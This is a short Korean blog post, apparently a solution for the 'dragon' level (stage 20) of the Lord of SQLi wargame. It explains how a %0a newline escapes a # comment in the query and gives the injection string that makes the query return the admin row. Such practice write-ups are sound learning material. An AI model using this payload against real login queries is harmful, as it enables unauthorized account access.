Wargame/LOS

[LOS] dragon 풀이 (st.20)

bjloed 2020. 5. 30. 23:59

풀이

 

이번 문제에는 Query문에 주석이 있다.

#은 한줄 주석이므로, %0a와 같은 개행문자를 이용하면 주석을 무력화 시킬 수 있다.

원리는 다음과 같다.

 

select id from prob_dragin where id='guest'# and pw='1'%0aand pw='1' or id='admin'%23

 

해당 부분만 개행 문자로 인해 주석처리가 되고, 뒤에 Query는 그대로 값을 전달하게 된다.